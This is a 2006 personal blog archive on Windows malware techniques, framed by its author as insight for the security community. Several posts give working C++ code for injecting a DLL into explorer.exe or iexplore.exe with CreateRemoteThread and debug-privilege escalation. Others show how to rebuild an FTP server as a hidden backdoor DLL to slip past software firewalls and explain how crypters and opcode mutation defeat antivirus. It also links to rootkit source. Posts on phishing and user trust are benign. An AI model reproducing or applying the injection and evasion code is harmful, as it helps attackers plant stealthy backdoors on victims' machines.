Search blog.co.uk

About me

tibbar

tibbar

Calendar

<<  <  February 2006  >  >>
Mo Tu We Th Fr Sa Su
    1 2 3 4 5
6 7 8 9 10 11 12
13 14 15 16 17 18 19
20 21 22 23 24 25 26
27 28          

Last comments

Archives for: February 2006

kernel mode ftpserver

by tibbar @ 2006-02-28 - 20:04:58

I've been working on kernel mode sockets for some time now, which thanks to Valerino from rootkit.com, are available to all of us for free:

http://www.rootkit.com/newsread.php?newsid=416

I extended this library to support the full TCP unix socket library and wanted to write an ftp server that runs purely in the kernel. My only problem was that I didn't want to reinvent the wheel by writing an entire ftp server myself.

[ a kernel mode ftp server will run as a device driver, and will allow the server to operate with complete stealth from both firewalls and usermode port listing applications.]

So I was rather pleased seeing this link arrive in my inbox from codeproject.com this morning:

http://www.codeproject.com/internet/CFtpServer.asp

it's been written in portable code, for windows or linux, which will make my job so much easier...


 
 

away

by tibbar @ 2006-02-18 - 23:15:45

i will be gone for the next 4 weeks doing some hardcore studing for some professional exams...

see you in a while!

tibbar.

tibbar.org

by tibbar @ 2006-02-18 - 09:38:57

some exciting news, i have purchased the domain www.tibbar.org, which i intend to use to host this blog and a proper website which will contain tutorials and the code to my tools.

note that this blog entry was posted last night, but the entry got deleted by accident, so im reposting...

Code Perversion

by tibbar @ 2006-02-16 - 23:57:49

A little project of mine has been to write a complete code pervertor that would actually modify the opcodes of an executable, to perform equivalent operations but using different opcodes. This would be the ultimate method of "crypting" a file, since the executable in memory would still remain unique and undetected.

I therefore set about creating an engine that modifies the code with equivalent operations.

For instance,

mov EAX, 5;

is equivalent to:

push 5; pop EAX;

so I developed a library of equivalent operations for every x86 instruction commonly used. The engine will:

1) disassemble each instruction in a section of code;
2) select a random equivalent operation;
3) calculate extra space required to fit new equivalent operations and insert space in code;
4) assemble the equivalent operations.
5) scan entire code section looking for jmp's, jcc's, call's and adjusting the address they reference to allow for the extra space inserted in step 3.

Now, this actually has been done before. Zombie wrote code pervertor which could achieve this but only for instructions that have an equivalent instruction of equal size in bytes when assembled. I will be taking this to the next level.

The engine is currently mid-way through development and uses ollydbg's disassembler engine to perform the tedious task of disassembling each instruction.

While it's not complete, here's how it is working on a stub used in a program called Code Crypter that I wrote a while back.

the table view makes it easy to see how it is mutating each opcode. This was using a very limited library of equivalent opcodes for testing purposes.

The big problem at moment is handling things like JMP EAX. I have to use a little stub to adjust for code movement, which is not quite working yet.

The encrpytion process is recursive and pretty slow. It takes about 30 minutes to fully mutate a typical 100k executable. This is because each time it swaps an opcode for an equivalent sequence of opcodes, it must adjust all the JXX, JMP, CALL's in the code, for the padded space added by inserting the new code.

Hopefully I will get some time to work on this again soon.

Tibbar.

Defeating Anti-Virus with Crypters

by tibbar @ 2006-02-16 - 00:30:29

I've promised I would explain why you cannot trust Anti-Virus software.

As this is a long topic, I will spread the tutorial over several blog entries, when I have time to spend here.

To understand how to defeat AV, you first need to understand how they work.

The key principle that has underpinned virus detection for the last 10 years, is to recognise viri not by their behaviour, but through a digital signature of their code.

Let me explain this more carefully... the AV program has probably around 100,000 files to scan on a typical hard drive. It's a very slow process to check each file in detail, so what AV do is to have a database of signatures (each signature is a piece of binary code that uniquely identifies the virus), and they simply check each file for a known signature.

This is much quicker than actually trying to determine what a particular executable's behaviour is.

Many AV can also do "heuristic" scanning. This sounds rather clever, but in fact it is not! Usually this means the AV will flag near matches to signatures as well, when performing the scan.

Finally, many AV will perform a "memory scan". This sounds like they are scanning the memory of each running process for known virus signatures. The truth is somewhat different - most AV "memory scans" are actually doing the following:

1) enumerate all running process names
2) for each process, scan the disk image of the process for known virus signatures.

only one or two products actually perform a real memory scan (none of the mainstream AV do a real memory scan).

Ok, so what we now know is that to defeat AV, the malware needs to be free of any bytes of code that match known virus signatures.

This means there are several options open to the hacker. She can:

a) write her own malware from scratch, which will be new and unknown to AV

b) use a "packer / crypter" to alter the binary image on disk, so that AV cannot match any signatures to the "packed / crypted" file.

c) use a code perversion engine, that will substitute equivalent opcodes for each opcode used in the executable's code. This is an extremely complex process and no public tools exist to achieve this fully (I have been working on this, but the tool is not complete). Z0mbie wrote a basic perversion tool some time back. His comments about it are:

Almost all trojans and viruses are detected using simple signatures. Which means that simple crc is calculated on the entire file, or on some parts of the code being checked.

There are thousands of simple signatures already stored in the antiviral databases. Each signature is equivalent to hours of an aver's work.

Using simple length disassembler and some simple rules, it is possible to analyze an arbitrary executable file and change some instructions in it, so that it will run the same as before, but file's checksum will be changed.

This means that antivirus will no longer be able to identify these files by using the previous checksums.

A tool called "Code Pervertor" was written some years ago. It can analyze a PE file and swap a few equivalent instructions, such as "test eax, eax" with "or eax, eax" and vice versa.

Another similar process is "diversification", which means the random changing of some data offsets within all system DLLs and services. Diversification complicates exploitation based on fixed address usage and will probably soon be implemented as a security measure.

Now imagine that some worm "perverted" and "diversified" all executable files it found on a machines over the net. It is likely that the same vulnerable machines will also contain trojans. So when all these trojans become unique, what avers will do?

There are two methods of detecting such a modified files.

First method is to modify files before analyzing, the same as "code pervertors" do, but without the randomization. For example, if some instructions can be interchanged with each other, perform one-way changes only, for example replace all "or eax, eax" with "test eax, eax", but not vice versa.

This method has tons of negative aspects: there can be many different methods of file modification, but some of them can be irreversible.

The second method consists of re-writing all checksum algorithms and recalculating all the signatures. The new checksum algorithm should become invariant to simple modifications such as swapping equal or interchangable instructions with each other.

This method is something like image recognition, where the new algorithm can return an equal result for many different data inputs.

This method also has a serious disadvantage. If someone introduced a new file modification method, the checksum algorithm will have to be once again changed and all the antiviral signatures recalculated.

A few hundred infected machines with automatic "pervertors" will catch all the new just-released worms and viruses and modify 'em "on the fly", automatically spawning new variants.

Option c) if ever achieved will render all AV absolutely useless. Scary eh?

Option a) is a reasonable choice, but our hacker may not have the necessary skills to write all the nasty tools she needs, and also once they are released in the wild, AV will eventually put signatures on them, which will mean she has wasted her time coding them.

This leaves option b) as the best solution to defeating AV at the current time.

Now, what exactly do I mean by packing / crypting?

Essentially, the technique involves taking all the code and data from an executable file, and applying an encryption algorithm to it, to ensure no signatures can be matched on it.

The new "packed / crypted" executable will include the encrypted data and code from the original executable, plus a "stub". The "stub" is a piece of code that can decrypt and reconstruct the original executable dynamically at runtime.

This means that on disk, the crypted executable is undetected to AV scanners, but once it is executed, it will behave and appear exactly like the original file.

A packer is exactly the same as a crypter, except that instead of using an encryption algorithm, it uses a compression algorithm. This makes the file both undetected and much smaller in size.

This all sounds pretty bad from the AV perspective. Fortuntely, in practice, the number of crypters and packers available on public sites is quite small. The AV firms analyse packers and crypters that they find, and alter the AV signatures to detect files that are packer / crypted using known packers / crypters. Some AV will include a decryption algorithm in their scanners, so they can find out what lies beneath!

Now, for some bad news... It is surprisingly easy to create your own crypter, and most private hacking groups have made their own custom crypters or packers.

One public crypter that beat most AV for a period of over a year, was morphine from www.hxdef.org. This is quite an advanced crypter, but given the resources available to AV firms, I was shocked how slowly they responded.

Let me reinforce this point. All private packers or crypters are undetected to AV. This means malware will not be detected by AV scanners, when using private packers or crypters.

So you should never trust you AV when it tells you a file is clean. If that file comes from an untrusted source be very suspicious. Use run as limited user if you must execute it. Also consider using a virtual machine and try using online scanners like http://www.virustotal.com to perform multi-scans against all AV engines - these tend to catch more things, than a single AV.

Next blog will tell you how to write you own crypter...

NDIS backdoor

by tibbar @ 2006-02-15 - 23:50:44

I just spotted a scary looking rootkit project:

http://www.xfocus.net/tools/200602/uay_source.rar

this is written by a guy called Uay, and it has the makings of a powerful rootkit.

He has hooked the lowest level point of networking in the kernel, the ndis layer, which means he is invisible to software firewalls.

The rootkit at the moment will provide a "cmd.exe" style shell that supports commands such as cd, dir copy, del using native api that are exported by ntoskrnl.exe.

I suspect it will also be invisible to most rootkit detectors, as he is not hiding anything like files, ports etc - although a ndis hook detector will find it.

This reminds me of some ideas I had been working on recently - implementing malware purely in the kernel.

I've made a ircbot that runs 100% in ring0 for fun, using Valerino's socket library for the kernel. Perhaps I will post it here some time soon...

Oh and on a closing note, check out Yorn's blog at: http://yorn.wordpress.com/

See ya.

Two way authentication to defeat Phishing

by tibbar @ 2006-02-14 - 03:11:12

Phishing is becoming an increasingly big problem on the net. For those of you who are not familiar with the term, Wikipedia defines it as:

In computing, phishing is a form of social engineering, characterized by attempts to fraudulently acquire sensitive information, such as passwords and credit card details, by masquerading as a trustworthy person or business in an apparently official electronic communication, such as an email or an instant message.

When the end user receives an email that for all purposes appears genuine and appears to originate from a trusted source, the psychological effect is to lower the levels of suspicion the user would normally have, when asked to provide sensitive information.

There really is very little we can do to stop Phishers from making carbon copies of websites, spoofing email addresses and even buying ssl certificates to make their site appear more genuine.

The underlying problem here is the way authentication is performed on the internet. When we are dealing with financial services such as internet banking, we currently have a one-way authentication process - the customer is required to prove to the internet site, that she is the legitimate owner of a bank account. This authentication is normally performed through providing a password and perhaps a date of birth.

However, this is really only half the story...

Let us consider an analogous situation in real life. The bank's customer decides she would like to withdraw some cash from her bank. So she visits the branch, identifies herself with a driving license, provides her account details and is successfully served by the branch.

She feels perfectly safe because she knows the bank's branch is genuine and the people working there are to be trusted.

The act of "phishing" does not exist when making physical financial transactions by visiting your bank's branch. Why? Because the economic cost of setting up a fake branch of a bank, employing fake staff is too high, and the risk of being arrested by the police is also very high.

The big problem is that on the internet, the economic cost and risk factors are very low. Any skilled web developer could setup a fake site in a matter of days.

We therefore need a mechanism by which the bank's customer can be assured that the website she is visiting is genuine, and is not being redirected to a phishing site.

This mechanism is very simple: two way authentication. As part of the login process to all internet banks, once the customer has provided part of their password (e.g. 1st, 3rd and last character), the bank's site will provide the customer with a "fact" about them (e.g. your cat is called Garfield). If this information is incorrect or is not provided, the customer knows that the internet site is not genuine and can immmediately terminate the login process, thus safeguarding their account information.

A detailed example of this login process could be formed using two passwords and a "fact" about the user:

1) Bank requests internet banking ID and first password;
2) If first password is correct, bank provide key "fact" to user (e.g. your cat is called garfield).
3) User checks if the "fact" is correct and either leaves the site if it is wrong / missing. If it is ok, then the user clicks proceed.
4) Bank asks for second password, if correct then authentication is complete.

If all financial institutions adopted this login procedure, phishing could be eliminated within the banking sector.

Trust

by tibbar @ 2006-02-12 - 01:43:14

What can we trust as a user? One of the biggest problems in security is that the user seems to place a lower threshold on computing trust than they would in everyday life.

For example, who would you trust to look after your wallet? A few close friends, relatives, banks and officials (perhaps a policeman).

Would you trust someone you just met, or a stranger walking along the street? Certainly not!

What about your door keys? Would you give these to a stranger to look after?

What about something less valuable? Say a bag containing some shopping or even just your coat or umbrella?

My point here, is we are normally very suspicious about people we do not know and will not trust them to look after our possessions.

Ok, now what about computing. Will you open an attachment from an unknown source? Usually not, unless it looks interesting enough (e.g. Britney Spears naked).

Will you visit a website purely based on a link given to you in an email? Probably, if it looks interesting.

Will you click yes to the dialog that tells you to install an ActiveX control to view the webpage? Again, you might if the website was interesting to you (more Britney...)

But in all these computing examples, you are dealing with someone you do not know and therefore cannot trust. It's ok if the 3rd party is someone reputable, like Microsoft etc. But to actually visit the website of an unsolicited email is potentially risky - an analogy might be to walk down a dark alleyway if a stranger says they have a nice surprise for you there - who knows if you will be mugged!

Most security breaches occur due to the user not using the same levels of trust in a computing environment to that they apply in their day to day lives.

Next time your firewall tells you explorer.exe needs to access port blah blah, actually take the time to read the message and make a thoughtful decision as to whether this is ok. If this message has not occured before, then be suspicious.

If you use your computer for internet banking, then treat it with the same level of care that you give to your wallet. Your banking login details are worth much more than your wallet - typically you keep much more money in your account!!!

A sad reality is that even if you have used a virus scanner on a executable file, provided by an untrusted party, you cannot be confident it is safe to run. The fact is that virus scanners only detect known viruses, and it takes very little effort to disguise a known virus to be undetected to the scanners - this is why we suffer the problems of "botnets" inflicting massive financial damage through distributed denial of service attacks (DDOS). Executables should only be trusted if you have purchased them from a trustworthy company, received them from someone you can explicitly trust with computing or you have examined the binary through a disassembler.

The anti-virus companies are not doing their job properly at the moment, and the world is suffering an increased level of DDOS and spamming as a result.

I will be explaining what the deficiancies of virus scanners are in my next few blogs and will demonstrate how they are being defeated by hackers.

Right now, it's time for bed.

Modifying exe's to dll's for firewall bypass

by tibbar @ 2006-02-11 - 09:28:33

well, as it's a cloudy sat morning, i might as well do the next installment in this little series on firewall bypass.

let's review what we now know.

We have a exe like explorer.exe which the end user trusts explicitly. If the software firewall tells Mr X that explorer.exe needs to access the internet, the user is unlikely to disagree.

The malicious hacker has a special program called injector.exe that will use the api CreateRemoteThread to force explorer.exe to run the command:

LoadLibrary("c:windowssystem32\\nasty.dll")

and this will cause explorer.exe to load nasty.dll into it's own memory space and then execute the entry point function DllMain (residing in nasty.dll) passing the parameter DLL_PROCESS_ATTACH to dllmain.

Ok, all good so far, but what use is this to the hacker, if all her backdoors are currently .exe's?

She needs a method of rewriting the backdoor or app as a dll. It turns out this is very simple too...

To understand what needs to be done, we first must understand how DllMain and Main differ...

Here's the prototype for a typical Main:

int main( int argc[ , char *argv[ ]

(sometimes main will not have any parameters)

and here is DllMain:

BOOL WINAPI DllMain(
HINSTANCE hinstDLL,
DWORD fdwReason,
LPVOID lpvReserved
);

they are quite different and this will cause a slight problem for us. Let's look more closely at DllMain... the only relevant parameter is fdwReason. This specifies why the DllMain is being called. It might be as a response to LoadLibrary == DLL_PROCESS_ATTACH or it could be a response to FreeLibrary == DLL_PROCESS_DETACH. We are only interested in the case DLL_PROCESS_ATTACH.

So how do we proceed... One idea might be to take the source code to an application we want to inject, and change the entry point of the app to DllMain, change the compiler options to compile as a dll and then create our own DllMain that will call the normal main function.

So let's look at a simple app, e.g. the open source ftpd "Indiftpd". This is available for download here:

http://sourceforge.net/projects/indiftpd/

To use indiftpd you normally specify some commandline arguments, e.g.

indiftpd.exe -p1337 -r5000-5010 -Uhax0r -Ppwnedus3r

this will start indiftpd on port 1337 with data port range 5000-5010.

So our very basic idea might be this:

BOOL WINAPI DllMain(
HINSTANCE hinstDLL,
DWORD fdwReason,
LPVOID lpvReserved)
{

if(fdwReason == DLL_PROCESS_ATTACH)
{
char param0[256] = "indiftpd.exe";
char param1[256] = "-p1337";
char param2[256] = "-r5000-5010";
char param3[256] = "-Uhax0r";
char param4[256] = "Ppwnedus3r";
char* argvarray[4];
argvarray[0] = param0;
argvarray[1] = param1;
argvarray[2] = param2;
argvarray[3] = param3;
argvarray[4] = param4;
main(5, argvarray);

}

if(fdwReason == DLL_PROCESS_DETACH)
{

}
return TRUE;

}

So let's try this. We recompile indiftpd as a dll and set entry point to DllMain. We then use the injector app (see last blog entry), to inject this into iexplore.exe (for testing). What happens??

Well, I can indeed connect to the ftpd on port 1337. But!!! iexplorer is hanging, totally non responsive. What has gone wrong?

Quite simply, we called main which worked fine. BUT indiftpd will not return from main, as it's an ftp server, unless it is told to quit, it will loop inside main forever. This means iexplorer has got stuck inside the main loop and never can do anything else...

Not quite what we wanted, so we need to be more inventive.

What we need is for indiftpd to run on a seperate thread, leaving iexplorer to work as normal.

Let's try again, using the api CreateThread to setup a new thread for indiftpd, and this way we can ensure DllMain returns immediately, leaving iexplorer to do it's normal jobs...

// dllmain.cpp
// Tibbar - conversion of indiftpd to dll for injection...

#include "windows.h"

extern int main(int argc, char **argv);

static DWORD WINAPI StartThreadProc(
LPVOID lpParameter)
{
// indiftpd.exe -p2121 -r5000-5010 -Utibbar -Pletmein
char param0[256] = "indiftpd.exe";
char param1[256] = "-p1337";
char param2[256] = "-r5000-5010";
char param3[256] = "-Uhax0r";
char param4[256] = "Ppwnedus3r";
char* argvarray[4];
argvarray[0] = param0;
argvarray[1] = param1;
argvarray[2] = param2;
argvarray[3] = param3;
argvarray[4] = param4;
main(5, argvarray);
return 0;

}

BOOL WINAPI DllMain(
HINSTANCE hinstDLL,
DWORD fdwReason,
LPVOID lpvReserved)
{

if(fdwReason == DLL_PROCESS_ATTACH)
{
unsigned long id;

HANDLE hThread = CreateThread(NULL, 0, StartThreadProc, NULL, 0, &id);

}

if(fdwReason == DLL_PROCESS_DETACH)
{

}
return TRUE;

}

We can test this using the injector app and behold, we find iexplorer.exe doesn't hang and the ftpd is working perfectly!

So the hacker can now inject a full ftp server into any system process (e.g. explorer.exe), and the end user's software firewall will simply ask the user is explorer.exe is allowed to access the internet etc.

For the average user this will be an immediate yes, since they have complete trust in explorer.exe.

Of course, firewall companies have got wise to this trick. The better firewalls hook CreateRemoteThread to catch this type of activity, but there are ways around this - see rootkit.com for methods of achieving CreateRemoteThread without using this api command.

Also, the windows firewall is oblivious to this trick.

Hope you are enjoying this little series. I have now installed google adsense to pay for the monthly blog hosting.

Tibbar.

Bypassing software firewalls

by tibbar @ 2006-02-10 - 22:47:33

ok, as promised I will now explain a bit more about how CreateRemoteThread can be used to bypass software firewalls.

MSDN gives the following prototype for the function:

HANDLE CreateRemoteThread(
HANDLE hProcess,
LPSECURITY_ATTRIBUTES lpThreadAttributes,
SIZE_T dwStackSize,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
DWORD dwCreationFlags,
LPDWORD lpThreadId
);

The key parameters here are hProcess - this will be a handle to the process we wish to inject into; lpStartAddress - this is an address to a routine that will be executed in the newly created thread, and lpParameter - this will be a parameter to pass to the thread function.

We will use a sneaky trick that will allow us to load an entire dll into the target process using this api...

The lpStartAddress function pointer has the type:

DWORD WINAPI ThreadProc(
LPVOID lpParameter
);

This means the function must have a single parameter. By some chance, the following winapi used to load dll's into a process' memory space also takes a single parameter:

HINSTANCE LoadLibrary(
LPCTSTR lpLibFileName
);

Also by some fortune, we are guaranteed that the function LoadLibrary exists in the target process' memory space, since all processes in windows load kernel32.dll upon initialisation - and even better than this, it will live at exactly the same memory location for all processes...

This leads us to the following strategy:

1) Use the api VirtualAllocEx and WriteProcessMemory to allocate memory in the target process and write the path name of a dll we wish to inject into the target process (e.g. c:\windows\evil.dll);

2) Get a pointer to LoadLibraryA (the "A" means we use the ANSI version, not UNICODE);

3) Use the api CreateRemoteThread to start a new thread that calls LoadLibraryA with a pointer to the dll path.

Our final point of good fortune is that LoadLibrary will call the function DllMain from our injected dll, once it has been loaded into the target process.

This means that the dll can run as a normal executable once inside the target process and is in no way limited in it functionality.

All sounds too easy? There is one other minor issue, to use CreateRemoteThread against system processes (e.g. explorer.exe), you need to have a special security priviledge known as "debug privs". Fortunetely we can gain these using another special api "AdjustTokenPrivileges". I won't go into the details of how this works, but the code below should explain this.

BOOL AdjustTokenToDebug()
{
// find the LUID of debug privilege token
LUID tLUID;
BOOL diditwork=LookupPrivilegeValue(NULL,SE_DEBUG_NAME,&tLUID);
if(diditwork!=0)
{
HANDLE hProcess=GetCurrentProcess();
if(hProcess!=0)
{
// Open the token for adjusting and querying
// (if we can - user may not have rights):
HANDLE hToken;//=new HANDLE;
diditwork=OpenProcessToken(hProcess,TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY,&hToken);
//DWORD x=GetLastError();
if(diditwork!=0)
{
// time to adjust debug privs
TOKEN_PRIVILEGES tTP;
TOKEN_PRIVILEGES tTPOld;
tTP.PrivilegeCount=1;
tTP.Privileges->Attributes=SE_PRIVILEGE_ENABLED;
tTP.Privileges->Luid.HighPart=tLUID.HighPart;
tTP.Privileges->Luid.LowPart=tLUID.LowPart;

// now we adjust privs
DWORD lengthReturned;
diditwork=AdjustTokenPrivileges(hToken,0,&tTP,sizeof(tTP),&tTPOld,&lengthReturned);
//x=GetLastError();
CloseHandle(hToken);
if(diditwork!=0)
{
return 1;
}
}
}
}
return 0;
}

You can use the function AdjustTokenToDebug to provide your injection app the correct privileges to inject into any system process.

Ok, so now we can finally see how injection works...here's a full code snippet:

#include "stdafx.h"
#include "install hooks.h"
#include "Tlhelp32.h"
#include "Psapi.h"

#pragma comment( lib, "Psapi" )

int APIENTRY _tWinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPTSTR lpCmdLine,
int nCmdShow)
{

// 1st of all we need god privs to do process injection
AdjustTokenToDebug();

// dll to inject

char dll[] = "myDll.dll";
char temp[500];
GetCurrentDirectoryA(500, temp);

strcat(temp, "\\");
strcat(temp, dll);

char processName[] = "iexplore.exe";
DWORD targetPID = GetProcessPIDByName(processName);
if(targetPID==0){return 0;}

// inject trojan dll into explorer.exe
HANDLE targetProcessHandle = OpenProcess(PROCESS_ALL_ACCESS,false,targetPID);

int x = strlen(temp);
SIZE_T numWritten = 0;
void* lpTargetMemory = VirtualAllocEx(targetProcessHandle,0,strlen(temp),0x1000,0x4);
BOOL diditWrite = WriteProcessMemory(targetProcessHandle,lpTargetMemory,temp,strlen(temp),0);
DWORD ThreadID;
HMODULE dllInjectHandle=NULL;

HANDLE hThread=CreateRemoteThread(targetProcessHandle,0,0,(LPTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle("Kernel32"),"LoadLibraryA"),lpTargetMemory,0,&ThreadID);

return FALSE;
}

DWORD GetProcessPIDByName(char moduleName[256])
{

//get pid
DWORD idProcess[256];
DWORD cb = sizeof(idProcess);
DWORD cdNeeded;
BOOL didigetlist = EnumProcesses((DWORD*)&idProcess, cb,&cdNeeded);
char szProcessName[256] = "unknown";
int noProcess=cdNeeded/sizeof(DWORD);
int searchPID=0;
int i=0;
for (i=0; i lessthan noProcess; i++ )
{
HANDLE hProcess=OpenProcess(PROCESS_QUERY_INFORMATION|PROCESS_VM_READ,FALSE,idProcess[i]);
if (NULL != hProcess)
{
HMODULE hMod;
DWORD cbNeeded;
BOOL didnumwork = EnumProcessModules( hProcess, &hMod, sizeof(hMod),&cbNeeded);
DWORD y=GetLastError();
if ( didnumwork )
{
DWORD diditwork=GetModuleBaseName( hProcess, hMod, szProcessName,sizeof(szProcessName) );
_strlwr((char*)&szProcessName);
DWORD x = GetLastError();
}
}

if(stricmp(szProcessName,moduleName)==0)
{
searchPID=idProcess[i];
break;
}
}
return searchPID;
}

This will allow you to load any dll into any running process. Next time we will look at how we can use a dll to hold a typical malware program - e.g. a backdoor, irc bot etc... and how any normal application can be converted into a dll.

Tibbar.

Software Firewalls

by tibbar @ 2006-02-10 - 10:01:33

Many home users rely on a software firewall to protect them from malicious hackers on the outside. While many firewalls do a reasonable job on blocking the outside attacker, most are quite weak at protecting the user from a malicious program that is intended to provide a backdoor into your system.

Such programs could include remote logins (telnet style), ircbots (to form part of a botnet) and ftp servers (to allow the attacker to use your computer to host illegal content).

The typical firewall works by suspending execution of programs you run, right at the moment the program requests use of the function WSAStartup (the winsock function that initialises use of the socket library (sockets are used for communication)).

It then presents the user with a dialog asking if it is ok that this program accesses the internet. Of course, this sounds quite safe, but what if the malicious program is able to hide itself within another existing application, that already has internet access...iexplorer, for example...

If that were possible, your software firewall would not be of much help.

Unfortuntely, it is possible, primarily using a windows api called "CreateRemoteThread". This ingenious invention of Microsoft allows you to create a new thread in another application. I am sure it has legitimate uses, but imho it is a dangerous api that should be subject to greater security priviledges.

Anyway, using this api command it is possible to "inject" any type of application into an already running application. This means the attacker can inject all of their ircbots, ftpservers and backdoors into a trusted process, and bypass most firewalls.

It also has the added advantage for the attacker that the end user will be oblivious to the extra applications that are running when they look on the taskmgr.

Anyway, I gotta head off to work.

Tonight, I will give some example code of how this actually works.

The beginning

by tibbar @ 2006-02-10 - 02:40:23

Well, i've decided to start a blog...

Some of you may know me from the site www.governmentsecurity.org, I'm on the admin team there and enjoy security software development in my spare time.

The plan with this blog, is to share an insight into the things I code, and provide the community an understanding of how malware works, and what security software currently is missing (to protect us).

I will also be releasing lots of code snippets here which typically would never been seen in the public eyes (the stuff that blackhats share in private sites).

My hope is that by sharing this kind of information, it will help the security community improve their products and make the end user a little bit safer...

See you around.

Tibbar.